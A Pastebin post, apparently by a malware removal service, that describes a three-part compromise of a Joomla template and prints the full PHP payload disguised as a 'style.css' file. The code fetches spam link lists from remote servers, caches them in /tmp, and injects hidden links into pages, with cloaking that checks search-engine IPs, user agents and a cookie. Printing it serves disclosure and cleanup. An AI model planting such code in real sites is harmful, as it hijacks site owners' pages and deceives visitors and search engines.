Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Find this on your site? Need Help removing it? http://www.malwareremovalservice.com
- Three parts to this attack
- 1) a josMainBody() function is inserted into the current template index.php file
- 2) an include for the /css/style.css file in the template index.php file
- 3) a php file disgused as "style.css" see code below:
- <?php
- class lmp_base {
- var $lmp_version = '3.03';
- var $lmp_charset = 'UTF-8';
- var $lmp_cache_lifetime = 3600; //Âðåìÿ æèçíè êåøà (÷åðåç ñêîëüêî âðåìåíè îáíîâëÿòü)
- var $lmp_cache_reloadtime = 15; // Åñëè ñêà÷àòü áàçó ññûëîê íå óäàëîñü, òî ñëåäóþùàÿ ïîïûòêà áóäåò ÷åðåç ñòîëüêî ñåêóíä
- var $lmp_links_db_file = '';
- var $lmp_error = '';
- var $lmp_error_desplay = false;
- var $lmp_request_uri = '';
- var $lmp_multi_site = false;
- var $lmp_server = 'goooogle.biz/~lmpsees';
- var $lmp_host_connect_type = 'file_get_contents'; // Ñïîñîá ïîäêëþ÷åíèÿ ê ñåðâåðó [file_get_contents|curl|socket]
- var $lmp_socket_timeout = 6; // Ñêîëüêî æäàòü îòâåòà îò ñåðâåðà
- var $lmp_host = '';
- var $lmp_is_our_bot = false;
- var $lmp_showedtag = false;
- var $lmp_check_code = true; //Ïîêàçûâàòü èëè íåò ïðîâåðî÷íûé êîä <!-- LMP -->, äëÿ ïðîâåðêè ïðàâèëüíîñòè óñòàíîâêè êîäà
- function lmp_base($opts = null){
- if(is_array($opts)){
- if(isset($opts['host']))$this->lmp_host=$opts['host'];
- }
- elseif(strlen($opts)){
- $this->lmp_server=$opts;
- $opts=array();
- }
- else {
- $this->lmp_host='';
- $opts=array();
- }
- if ($this->lmp_host == '')$this->lmp_host = $_SERVER['HTTP_HOST'];
- $this->lmp_host = strtr(strtr($this->lmp_host, array('www.'=>'')), array('http://'=>''));
- if (isset($opts['server']) && strlen($opts['server']))$this->lmp_server = $opts['server'];
- if (isset($opts['request_uri']) && strlen($opts['request_uri']))$this->lmp_request_uri = $opts['request_uri'];
- else $this->lmp_request_uri = $_SERVER['REQUEST_URI'];
- if (isset($opts['multi_site']) && $opts['multi_site'] == true)$this->lmp_multi_site = true;
- if (isset($opts['error_desplay']) && $opts['error_desplay'] == true)$this->lmp_error_desplay = true;
- if (isset($opts['host_connect_type']) && strlen($opts['host_connect_type']))$this->lmp_host_connect_type = $opts['host_connect_type'];
- if (isset($opts['socket_timeout'])){
- if(preg_match("/^[0-9]+$/si", $opts['socket_timeout'])){
- if($opts['socket_timeout']>0)$this->lmp_socket_timeout = $opts['socket_timeout'];
- }
- }
- if(isset($opts['check_code'])){
- if($opts['check_code']==true or $opts['check_code']==false)$this->lmp_check_code = $opts['check_code'];
- }
- // Îïðåäåëÿåì íàø ëè ðîáîò
- if (isset($_SERVER['HTTP_USER_AGENT']) && ($_SERVER['HTTP_USER_AGENT'] == 'LMP_Robot')) {
- $this->lmp_is_our_bot = true;
- } else {
- $this->lmp_is_our_bot = false;
- }
- //$this->return_link_array();
- }
- //Ñ÷èòûâàíèå ôàéëà óäàëåííî
- function get_file( $host, $path ){
- $user_agent = 'LMP_Client PHP ' . $this->lmp_version;
- @ini_set('allow_url_fopen', 1);
- @ini_set('default_socket_timeout', $this->lmp_socket_timeout);
- @ini_set('user_agent', $user_agent);
- if($this->lmp_host_connect_type=='file_get_contents'){
- //print 'http://' . $host . $path;
- if ($data = @file_get_contents('http://' . $host . $path)) {
- return $data;
- }
- }
- elseif($this->lmp_host_connect_type=='curl'){
- if ($ch = @curl_init()) {
- @curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path);
- @curl_setopt($ch, CURLOPT_HEADER, false);
- @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->lmp_socket_timeout);
- @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
- if ($data = curl_exec($ch)) {
- //print $data;
- @curl_close($ch);
- return $data;
- }
- @curl_close($ch);
- }
- }
- elseif($this->lmp_host_connect_type=='socket'){
- $c = '';
- $fp = @fsockopen('www.' . $host, 80, $errno, $errstr, $this->lmp_socket_timeout);
- if ($fp) {
- @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
- @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
- while (!@feof($fp)) {
- $c .= @fgets($fp, 128);
- }
- @fclose($fp);
- $data = explode("\r\n\r\n", $c);
- return $data[1];
- }
- }
- else {
- $this->raise_error('Íåïðàâèëüíî óêàçàí ñïîñîá ïîäêëþ÷åíèÿ ê ñåðâåðó');
- return false;
- }
- return $this->raise_error('Íåâîçìîæíî ïîäêëþ÷èòüñÿ ê ñåðâåðó... ' . $host . $path);
- }
- //Ôóíêöèÿ äëÿ ÷òåíèÿ áàçû ññûëîê èç êåøà
- function lmp_read( $file ) {
- $fp = @fopen($file, 'rb');
- @flock($fp, LOCK_SH);
- if ($fp) {
- $length = @filesize($file);
- $mqr = get_magic_quotes_runtime();
- set_magic_quotes_runtime(0);
- if ($length) {
- $data = @fread($fp, $length);
- } else {
- $data = '';
- }
- set_magic_quotes_runtime($mqr);
- @flock($fp, LOCK_UN);
- @fclose($fp);
- return $data;
- }
- return $this->raise_error('Íåâîçìîæíî ñ÷èòàòü äàííûå èç ôàéëà: ' . $file);
- }
- //Ôóíêöèÿ çàïèñè â ëîêàëüíûé ôàéë
- function lmp_write($filename, $data) {
- $fp = @fopen($filename, 'wb');
- if ($fp) {
- @flock($fp, LOCK_EX);
- $length = strlen($data);
- @fwrite($fp, $data, $length);
- @flock($fp, LOCK_UN);
- @fclose($fp);
- if (md5($this->lmp_read($filename)) != md5($data)) {
- return $this->raise_error('Íàðóøåíà öåëîñòíîñòü äàííûõ ïðè çàïèñè â ôàéë: ' . $filename);
- }
- return true;
- }
- return $this->raise_error('Íå ìîãó çàïèñàòü äàííûå â ôàéë: ' . $filename);
- }
- //Îòîáðàæåíèå îøèáîê
- function raise_error($err) {
- $this->lmp_error = '<p style="color: red; font-weight: bold;">LMPanel error: '.$err.'</p>';
- if ($this->lmp_error_desplay == true) {
- print $this->lmp_error;
- }
- return false;
- }
- function load_data(){
- $this->lmp_links_db_file = $this->_get_db_file();
- if(!is_file($this->lmp_links_db_file)){
- if(@touch($this->lmp_links_db_file)){
- chmod($this->lmp_links_db_file, 0666);
- }
- else return $this->raise_error('Íåâîçìîæíî ñîçäàòü ôàéë ' . $this->lmp_links_db_file . '. Óñòàíîâèòå íà äèððåêòîðèþ ñî ññûëêàìè ïðàâà 777');
- }
- if (!is_writable($this->lmp_links_db_file)) {
- return $this->raise_error('Íåò äîñòóïà íà çàïèñü ê ôàéëó: ' . $this->lmp_links_db_file . '! Âûñòàâèòå ïðàâà 777 íà ïàïêó.');
- }
- if(filemtime($this->lmp_links_db_file) < (time()-$this->lmp_cache_lifetime) || filesize($this->lmp_links_db_file) == 0) {
- @touch($this->lmp_links_db_file, (time() - $this->lmp_cache_lifetime + $this->lmp_cache_reloadtime));
- //$path = '/downlbase.php?host=' . urlencode($this->lmp_host);
- $path = $this->_get_dispenser_path();
- if(preg_match("/\//si", $this->lmp_server)){
- $path = preg_replace("/^[^\/]+(\/.+)$/si", "$1", $this->lmp_server).$path;
- $this->lmp_server = preg_replace("/^([^\/]+)\/.+$/si", "$1", $this->lmp_server);
- }
- if ($data = $this->get_file($this->lmp_server, $path)) {
- if (preg_match("/^FATAL ERROR:.+$/si", $data)) {
- $this->raise_error($data);
- }
- else {
- // [ïñåâäî]ïðîâåðêà öåëîñòíîñòè:
- if (@unserialize($data) != false) {
- $this->lmp_write($this->lmp_links_db_file, $data);
- }
- }
- }
- }
- if (strlen(session_id())) {
- $session = session_name() . '=' . session_id();
- $this->lmp_request_uri = preg_replace("/^(.+)[\?&]{1}".$session."$/si", "$1", $this->lmp_request_uri);
- }
- if ($data = $this->lmp_read($this->lmp_links_db_file)) {
- $unsData = @unserialize($data);
- $this->lmp_charset = $unsData['lmp_charset'];
- $this->set_data($unsData);
- }
- }
- }
- //Êëàññ äëÿ ññûëîê
- class lmp_client extends lmp_base {
- var $lmp_links_page = array();
- var $lmp_links = '';
- var $lmp_links_delimiter = '';
- var $lmp_blocks = 1;
- var $lmp_block_type = 1;
- var $lmp_block_info = Array();
- function lmp_client($options = null) {
- parent::lmp_base($options);
- $this->load_data();
- }
- //ññûëêè
- function print_links($block_id=''){
- if($block_id == '')$block_id = 1;
- $html = '';
- if (is_array($this->lmp_links_page) & sizeof($this->lmp_links_page)>0 & $this->lmp_is_our_bot==false) {
- if($this->lmp_charset != ''){
- if(function_exists('iconv')){
- foreach($this->lmp_links_page as $el){
- // print $this->lmp_charset;
- $linkz[] = iconv("Windows-1251", $this->lmp_charset, $el);
- }
- }
- else {
- foreach($this->lmp_links_page as $el){
- $linkz[] = @mb_convert_encoding($el, $this->lmp_charset, "Windows-1251");
- }
- }
- }
- else $linkz = $this->lmp_links_page;
- if(isset($linkz)){
- for($i=0; $i<sizeof($linkz); $i+=$this->lmp_blocks):
- $n = $i;
- for($k=0; $k<$this->lmp_blocks; $k++):
- if(($k+1) == $block_id)$links[]=$linkz[$n];
- $n++;
- endfor;
- endfor;
- }
- if(!is_array($links))$links[]='';
- $links2 = $links;
- unset($links);
- foreach($links2 as $el=>$val){
- if(trim($links2[$el])!='')$links[] = $links2[$el];
- }
- if($this->lmp_block_type==1){
- $html = @join($this->lmp_block_info['links_delimiter'], $links);
- }
- else {
- if(@count($links)>0){
- $html = '<table style="padding:5px;border: 1px solid;background-color:#'.$this->lmp_block_info['bg'].';border-color:#'.$this->lmp_block_info['border'].';width:'.$this->lmp_block_info['width'].'px;height:'.$this->lmp_block_info['height'].'px;">';
- if($this->lmp_block_info['chered']=='h')$html .= "<tr>";
- foreach($links as $el){
- $desc = strip_tags($el);
- $title = preg_replace("/^.{0,}<a[^>]+>(.+)<\/a>.{0,}$/si", "$1", $el);
- $url = preg_replace("/^.{0,}<a href=[\"']{1}([^'\"]+)[\"']{1}.+$/si", "$1", $el);
- if($this->lmp_block_info['chered']=='v')$html .= "<tr>";
- $html .= '<td style="text-align:left;padding: 6px;"><a href="'.$url.'" target="_blank" style="text-decoration:underline;font-size:'.($this->lmp_block_info['fsize']+1).'px;color:#'.$this->lmp_block_info['title'].';">'.$title.'</a><br><font style="font-size:'.$this->lmp_block_info['fsize'].'px;color:#'.$this->lmp_block_info['desc'].';">'.$desc.'</font><br><font style="font-size:'.($this->lmp_block_info['fsize']-1).'px;color:#'.$this->lmp_block_info['url'].';">'.$url.'</font></td>';
- if($this->lmp_block_info['chered']=='v')$html .= "</tr>";
- }
- if($this->lmp_block_info['chered']=='h')$html .= "</tr>";
- $html .= '</table>';
- }
- }
- }
- if(!$this->lmp_showedtag){
- if($this->lmp_is_our_bot == true)$html.='<!-- LMP -->';
- elseif($this->lmp_check_code == true)$html.='<!-- LMP -->';
- $this->lmp_showedtag = true;
- }
- return $html;
- }
- //îïöèè áëîêà (ß.äèðåêò)
- function set_block_opts($width=100, $height='', $fsize=11, $chered=''){
- if($this->lmp_block_type==2){
- if($width!='')$this->lmp_block_info['width'] = $width;
- if($height!='')$this->lmp_block_info['height'] = $height;
- if($fsize!='')$this->lmp_block_info['fsize'] = $fsize;
- if($chered!='')$this->lmp_block_info['chered'] = $chered;
- }
- }
- function _get_db_file() {
- return '/tmp/sess_7a68212f5df4s2141w8479e57d096af74baussaw';
- }
- function _get_dispenser_path() {
- return '/downlbase.php?type=1&host=' . urlencode($this->lmp_host);
- }
- function set_data($data) {
- $this->lmp_links = $data;
- if (@array_key_exists($this->lmp_request_uri, $this->lmp_links) && is_array($this->lmp_links[$this->lmp_request_uri])) {
- $this->lmp_links_page = $this->lmp_links[$this->lmp_request_uri];
- $this->lmp_links_delimiter = $this->lmp_links[$this->lmp_request_uri];
- if(isset($this->lmp_links['lmp_block_info'])){
- $this->lmp_block_type = $this->lmp_links['lmp_block_info']['type'];
- if($this->lmp_block_type == 1)$this->lmp_block_info = Array("links_delimiter"=>$this->lmp_links['lmp_block_info']['delimiter']);
- else {
- $this->lmp_block_info = Array("border"=>$this->lmp_links['lmp_block_info']['border'],
- "bg"=>$this->lmp_links['lmp_block_info']['bg'],
- "title"=>$this->lmp_links['lmp_block_info']['title'],
- "desc"=>$this->lmp_links['lmp_block_info']['desc'],
- "url"=>$this->lmp_links['lmp_block_info']['url'],
- "width"=>100,
- "height"=>100,
- "fsize"=>11,
- "chered"=>'h');
- }
- }
- if(isset($this->lmp_links['lmp_blocks']))$this->lmp_blocks=$this->lmp_links['lmp_blocks'];
- }
- }
- }
- class LinkfeedClient {
- var $lc_version = '0.4.1';
- var $lc_verbose = false;
- var $lc_charset = 'DEFAULT';
- var $lc_use_ssl = false;
- var $lc_server = 'db.linkfeed.ru';
- var $lc_cache_lifetime = 3600;
- var $lc_cache_reloadtime = 300;
- var $lc_links_db_file = '';
- var $lc_links = array();
- var $lc_links_page = array();
- var $lc_links_delimiter = '';
- var $lc_error = '';
- var $lc_host = '';
- var $lc_request_uri = '';
- var $lc_fetch_remote_type = '';
- var $lc_socket_timeout = 6;
- var $lc_force_show_code = false;
- var $lc_multi_site = false;
- var $lc_is_static = false;
- var $lc_ignore_tailslash = false;
- function LinkfeedClient($options = null) {
- $host = '';
- if (is_array($options)) {
- if (isset($options['host'])) {
- $host = $options['host'];
- }
- } elseif (strlen($options) != 0) {
- $host = $options;
- $options = array();
- } else {
- $options = array();
- }
- if (strlen($host) != 0) {
- $this->lc_host = $host;
- } else {
- $this->lc_host = $_SERVER['HTTP_HOST'];
- }
- $this->lc_host = preg_replace('{^https?://}i', '', $this->lc_host);
- $this->lc_host = preg_replace('{^www\.}i', '', $this->lc_host);
- $this->lc_host = strtolower( $this->lc_host);
- if (isset($options['is_static']) && $options['is_static']) {
- $this->lc_is_static = true;
- }
- if (isset($options['ignore_tailslash']) && $options['ignore_tailslash']) {
- $this->lc_ignore_tailslash = true;
- }
- if (isset($options['request_uri']) && strlen($options['request_uri']) != 0) {
- $this->lc_request_uri = $options['request_uri'];
- } else {
- if ($this->lc_is_static) {
- $this->lc_request_uri = preg_replace( '{\?.*$}', '', $_SERVER['REQUEST_URI']);
- $this->lc_request_uri = preg_replace( '{/+}', '/', $this->lc_request_uri);
- } else {
- $this->lc_request_uri = $_SERVER['REQUEST_URI'];
- }
- }
- $this->lc_request_uri = rawurldecode($this->lc_request_uri);
- if (isset($options['multi_site']) && $options['multi_site'] == true) {
- $this->lc_multi_site = true;
- }
- if ((isset($options['verbose']) && $options['verbose']) ||
- isset($this->lc_links['__linkfeed_debug__'])) {
- $this->lc_verbose = true;
- }
- if (isset($options['charset']) && strlen($options['charset']) != 0) {
- $this->lc_charset = $options['charset'];
- }
- if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type']) != 0) {
- $this->lc_fetch_remote_type = $options['fetch_remote_type'];
- }
- if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) {
- $this->lc_socket_timeout = $options['socket_timeout'];
- }
- if ((isset($options['force_show_code']) && $options['force_show_code']) ||
- isset($this->lc_links['__linkfeed_debug__'])) {
- $this->lc_force_show_code = true;
- }
- if (!defined('LINKFEED_USER')) {
- return $this->raise_error("Constant LINKFEED_USER is not defined.");
- }
- $this->load_links();
- }
- function load_links() {
- if ($this->lc_multi_site) {
- $this->lc_links_db_file = '/tmp/sess_7a68212f5df4s2141w8479e57d096af74baussaw1';
- } else {
- $this->lc_links_db_file = '/tmp/sess_7a68212f5df4s2141w8479e57d096af74baussaw1';
- }
- if (!is_file($this->lc_links_db_file)) {
- if (@touch($this->lc_links_db_file, time() - $this->lc_cache_lifetime)) {
- @chmod($this->lc_links_db_file, 0666);
- } else {
- return $this->raise_error("There is no file " . $this->lc_links_db_file . ". Fail to create. Set mode to 777 on the folder.");
- }
- }
- if (!is_writable($this->lc_links_db_file)) {
- return $this->raise_error("There is no permissions to write: " . $this->lc_links_db_file . "! Set mode to 777 on the folder.");
- }
- @clearstatcache();
- if (filemtime($this->lc_links_db_file) < (time()-$this->lc_cache_lifetime) ||
- (filemtime($this->lc_links_db_file) < (time()-$this->lc_cache_reloadtime) && filesize($this->lc_links_db_file) == 0)) {
- @touch($this->lc_links_db_file, time());
- $path = '/' . LINKFEED_USER . '/' . strtolower( $this->lc_host ) . '/' . strtoupper( $this->lc_charset);
- if ($links = $this->fetch_remote_file($this->lc_server, $path)) {
- if (substr($links, 0, 12) == 'FATAL ERROR:') {
- $this->raise_error($links);
- } else if (@unserialize($links) !== false) {
- $this->lc_write($this->lc_links_db_file, $links);
- } else {
- $this->raise_error("Cann't unserialize received data.");
- }
- }
- }
- $links = $this->lc_read($this->lc_links_db_file);
- $this->lc_file_change_date = gmstrftime ("%d.%m.%Y %H:%M:%S",filectime($this->lc_links_db_file));
- $this->lc_file_size = strlen( $links);
- if (!$links) {
- $this->lc_links = array();
- $this->raise_error("Empty file.");
- } else if (!$this->lc_links = @unserialize($links)) {
- $this->lc_links = array();
- $this->raise_error("Cann't unserialize data from file.");
- }
- if (isset($this->lc_links['__linkfeed_delimiter__'])) {
- $this->lc_links_delimiter = $this->lc_links['__linkfeed_delimiter__'];
- }
- $lc_links_temp=array();
- foreach($this->lc_links as $key=>$value){
- $lc_links_temp[rawurldecode($key)]=$value;
- }
- $this->lc_links=$lc_links_temp;
- if ($this->lc_ignore_tailslash && $this->lc_request_uri[strlen($this->lc_request_uri)-1]=='/') $this->lc_request_uri=substr($this->lc_request_uri,0,-1);
- $this->lc_links_page=array();
- if (array_key_exists($this->lc_request_uri, $this->lc_links) && is_array($this->lc_links[$this->lc_request_uri])) {
- $this->lc_links_page = array_merge($this->lc_links_page, $this->lc_links[$this->lc_request_uri]);
- }
- if ($this->lc_ignore_tailslash && array_key_exists($this->lc_request_uri.'/', $this->lc_links) && is_array($this->lc_links[$this->lc_request_uri.'/'])) {
- $this->lc_links_page =array_merge($this->lc_links_page, $this->lc_links[$this->lc_request_uri.'/']);
- }
- $this->lc_links_count = count($this->lc_links_page);
- }
- function return_links($n = null) {
- $result = '';
- if (isset($this->lc_links['__linkfeed_start__']) && strlen($this->lc_links['__linkfeed_start__']) != 0 &&
- (in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_force_show_code)
- ) {
- $result .= $this->lc_links['__linkfeed_start__'];
- }
- if (isset($this->lc_links['__linkfeed_robots__']) && in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_verbose) {
- if ($this->lc_error != '') {
- $result .= $this->lc_error;
- }
- $result .= '<!--REQUEST_URI=' . $_SERVER['REQUEST_URI'] . "-->\n";
- $result .= "\n<!--\n";
- $result .= 'L ' . $this->lc_version . "\n";
- $result .= 'REMOTE_ADDR=' . $_SERVER['REMOTE_ADDR'] . "\n";
- $result .= 'request_uri=' . $this->lc_request_uri . "\n";
- $result .= 'charset=' . $this->lc_charset . "\n";
- $result .= 'is_static=' . $this->lc_is_static . "\n";
- $result .= 'multi_site=' . $this->lc_multi_site . "\n";
- $result .= 'file change date=' . $this->lc_file_change_date . "\n";
- $result .= 'lc_file_size=' . $this->lc_file_size . "\n";
- $result .= 'lc_links_count=' . $this->lc_links_count . "\n";
- $result .= 'left_links_count=' . count($this->lc_links_page) . "\n";
- $result .= 'n=' . $n . "\n";
- $result .= '-->';
- }
- if (is_array($this->lc_links_page)) {
- $total_page_links = count($this->lc_links_page);
- if (!is_numeric($n) || $n > $total_page_links) {
- $n = $total_page_links;
- }
- $links = array();
- for ($i = 0; $i < $n; $i++) {
- $links[] = array_shift($this->lc_links_page);
- }
- if ( count($links) > 0 && isset($this->lc_links['__linkfeed_before_text__']) ) {
- $result .= $this->lc_links['__linkfeed_before_text__'];
- }
- $result .= implode($this->lc_links_delimiter, $links);
- if ( count($links) > 0 && isset($this->lc_links['__linkfeed_after_text__']) ) {
- $result .= $this->lc_links['__linkfeed_after_text__'];
- }
- }
- if (isset($this->lc_links['__linkfeed_end__']) && strlen($this->lc_links['__linkfeed_end__']) != 0 &&
- (in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_force_show_code)
- ) {
- $result .= $this->lc_links['__linkfeed_end__'];
- }
- return $result;
- }
- function fetch_remote_file($host, $path) {
- $user_agent = 'Linkfeed Client PHP ' . $this->lc_version;
- @ini_set('allow_url_fopen', 1);
- @ini_set('default_socket_timeout', $this->lc_socket_timeout);
- @ini_set('user_agent', $user_agent);
- if (
- $this->lc_fetch_remote_type == 'file_get_contents' || (
- $this->lc_fetch_remote_type == '' && function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1
- )
- ) {
- if ($data = @file_get_contents('http://' . $host . $path)) {
- return $data;
- }
- } elseif (
- $this->lc_fetch_remote_type == 'curl' || (
- $this->lc_fetch_remote_type == '' && function_exists('curl_init')
- )
- ) {
- if ($ch = @curl_init()) {
- @curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path);
- @curl_setopt($ch, CURLOPT_HEADER, false);
- @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->lc_socket_timeout);
- @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
- if ($data = @curl_exec($ch)) {
- return $data;
- }
- @curl_close($ch);
- }
- } else {
- $buff = '';
- $fp = @fsockopen($host, 80, $errno, $errstr, $this->lc_socket_timeout);
- if ($fp) {
- @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
- @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
- while (!@feof($fp)) {
- $buff .= @fgets($fp, 128);
- }
- @fclose($fp);
- $page = explode("\r\n\r\n", $buff);
- return $page[1];
- }
- }
- return $this->raise_error("Cann't connect to server: " . $host . $path);
- }
- function lc_read($filename) {
- $fp = @fopen($filename, 'rb');
- @flock($fp, LOCK_SH);
- if ($fp) {
- clearstatcache();
- $length = @filesize($filename);
- $mqr = get_magic_quotes_runtime();
- set_magic_quotes_runtime(0);
- if ($length) {
- $data = @fread($fp, $length);
- } else {
- $data = '';
- }
- set_magic_quotes_runtime($mqr);
- @flock($fp, LOCK_UN);
- @fclose($fp);
- return $data;
- }
- return $this->raise_error("Cann't get data from the file: " . $filename);
- }
- function lc_write($filename, $data) {
- $fp = @fopen($filename, 'wb');
- if ($fp) {
- @flock($fp, LOCK_EX);
- $length = strlen($data);
- @fwrite($fp, $data, $length);
- @flock($fp, LOCK_UN);
- @fclose($fp);
- if (md5($this->lc_read($filename)) != md5($data)) {
- return $this->raise_error("Integrity was breaken while writing to file: " . $filename);
- }
- return true;
- }
- return $this->raise_error("Cann't write to file: " . $filename);
- }
- function raise_error($e) {
- $this->lc_error = '<!--ERROR: ' . $e . '-->';
- return false;
- }
- }
- function josMainBody(){
- error_reporting(0);
- function striposssi($haystack, $needle){ return strpos($haystack, stristr( $haystack, $needle ));}
- if ($_COOKIE['SESSe7da53566c688d456347'] =="3cca28a37dc22cfff5eab70704ee5301")
- {
- echo '<div id="nvorst">';
- }
- else
- {
- $rsp=striposssi($_SERVER['HTTP_REFERER'],'sape');
- $qsp=striposssi($_SERVER['HTTP_REFERER'],'linkfeed');
- $rrs=striposssi($_SERVER['HTTP_ACCEPT_LANGUAGE'],'ru');
- $gbot=striposssi($_SERVER['HTTP_USER_AGENT'], 'google');
- $ybot=striposssi($_SERVER['HTTP_USER_AGENT'], 'yandex');
- $stop_ips_masks = array(
- "66\.249\.[6-9][0-9]\.[0-9]+", // Google NetRange: 66.249.64.0 - 66.249.95.255
- "74\.125\.[0-9]+\.[0-9]+", // Google NetRange: 74.125.0.0 - 74.125.255.255
- "64\.233\.1[6-9][0-9]\.[0-9]+", // Google NetRange: 64.233.160.0 - 64.233.191.255
- "66\.192\.[0-9]+\.[0-9]+",
- "64\.128\.[0-9]+\.[0-9]+",
- "209\.185\.253\.1[6-8][1-9]",
- "209\.185\.108\.1[6-8][1-9]",
- "64\.68\.8[0-2]\.[0-9]+",
- "66\.249\.[6-7][1-9]\.[0-9]+",
- "65\.5[2-5]\.[0-9]+\.[0-9]+", // MSN NetRange: 65.52.0.0 - 65.55.255.255,
- "74\.6\.[0-9]+\.[0-9]+", // Yahoo NetRange: 74.6.0.0 - 74.6.255.255
- "67\.195\.[0-9]+\.[0-9]+", // Yahoo#2 NetRange: 67.195.0.0 - 67.195.255.255
- "72\.30\.[0-9]+\.[0-9]+", // Yahoo#3 NetRange: 72.30.0.0 - 72.30.255.255
- "38\.[0-9]+\.[0-9]+\.[0-9]+", // Cuill: NetRange: 38.0.0.0 - 38.255.255.255
- "93\.172\.94\.227", // MacFinder
- "212\.100\.250\.218", // Wells Search II
- "71\.165\.223\.134", // Indy Library
- "70\.91\.180\.25",
- "65\.93\.62\.242",
- "74\.193\.246\.129",
- "213\.144\.15\.38",
- "195\.92\.229\.2",
- "70\.50\.189\.191",
- "218\.28\.88\.99",
- "165\.160\.2\.20",
- "89\.122\.224\.230",
- "66\.230\.175\.124",
- "218\.18\.174\.27",
- "65\.33\.87\.94",
- "67\.210\.111\.241",
- "81\.135\.175\.70",
- "64\.69\.34\.134",
- "89\.149\.253\.169",
- "66\.36\.243\.182"
- );
- $is_bot = false;
- $stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", "crawler", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress");
- $_SERVER["HTTP_USER_AGENT"] = preg_replace("|User.Agent\:[\s ]?|i", "", @$_SERVER["HTTP_USER_AGENT"]);
- foreach ($stop_ips_masks as $stop_ip_mask) if(eregi("^{$stop_ip_mask}$", @$_SERVER['REMOTE_ADDR'])) $is_bot = true;
- foreach ($stop_agents_masks as $stop_agents_mask) if(eregi($stop_agents_mask, @$_SERVER["HTTP_USER_AGENT"]) !== false) $is_bot = true;
- if (gettype($rsp)=='integer' || gettype($qsp) == 'integer' || gettype($rrs)=='integer' || $_SERVER['REMOTE_ADDR']=='81.177.144.46' || $_SERVER['REMOTE_ADDR']=='217.107.36.73' || $_SERVER['REMOTE_ADDR']=='217.107.36.132' || $_SERVER['REMOTE_ADDR']=='87.242.74.101' || $_SERVER['REMOTE_ADDR']=='80.251.136.38' || gettype($ybot)=='integer' || gettype($gbot)=='integer' || $is_bot !== false)
- {
- echo '<div id="nvorst">';
- setcookie("SESSe7da53566c688d456347","3cca28a37dc22cfff5eab70704ee5301",time()+60*60*24*365);
- }
- else
- {
- echo '<style> div#bdd1b7801d9329b2f9d7313381627c70c, div#bdd1b7801d9329b2f9d7313381627c70c a { font-style: normal; font-family: Verdana, Tahoma, sans-serif; text-decoration: none; display:none; font-weight: normal;
- font-size: 8px; color: gray; text-align: center;
- } </style>';
- echo '<div id="bdd1b7801d9329b2f9d7313381627c70c">';
- }
- }
- //
- define('LINKFEED_USER', '554db95d117935c21bf94edd0c5c791bc27543b6');
- $q['charset'] = 'UTF-8';
- //$q['request_uri'] = ((isset($_SERVER['REDIRECT_URL'])) ? $_SERVER['REDIRECT_URL'] : '');
- $q['request_uri'] = $_GET['uri'];
- //$q['request_uri'] = getenv('request_uri');
- //$q['request_uri'] = $_SERVER['SCRIPT_URL'];
- //$q['host'] = '';
- //$q[ 'verbose' ] = true;
- //$q[ "force_show_code" ] = true;
- //$q['fetch_remote_type']='curl'; //[file_get_contents|curl|socket]
- $linkfeed = new LinkfeedClient( $q );
- echo $linkfeed->return_links();
- echo '</div>';
- ///end linkfeed
- echo '<style> div#bdd1b7801d9329b2f9d7313381627c70c, div#bdd1b7801d9329b2f9d7313381627c70c a { font-style: normal; font-family: Verdana, Tahoma, sans-serif; text-decoration: none; display:none; font-weight: normal; font-size: 8px; color: gray; text-align: center;} </style>';
- echo '<div id="bdd1b7801d9329b2f9d7313381627c70c">';
- //$o['charset'] = 'UTF-8';
- //$o['request_uri'] = ((isset($_SERVER['REDIRECT_URL'])) ? $_SERVER['REDIRECT_URL'] : '');
- $q['request_uri'] = $_GET['uri'];
- //$o[ "force_show_code" ] = true;
- //$o['fetch_remote_type']='curl'; //[file_get_contents|curl|socket]
- $lmp = new lmp_client( $o );
- print $lmp->print_links();
- unset($o);
- echo '</div>';
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement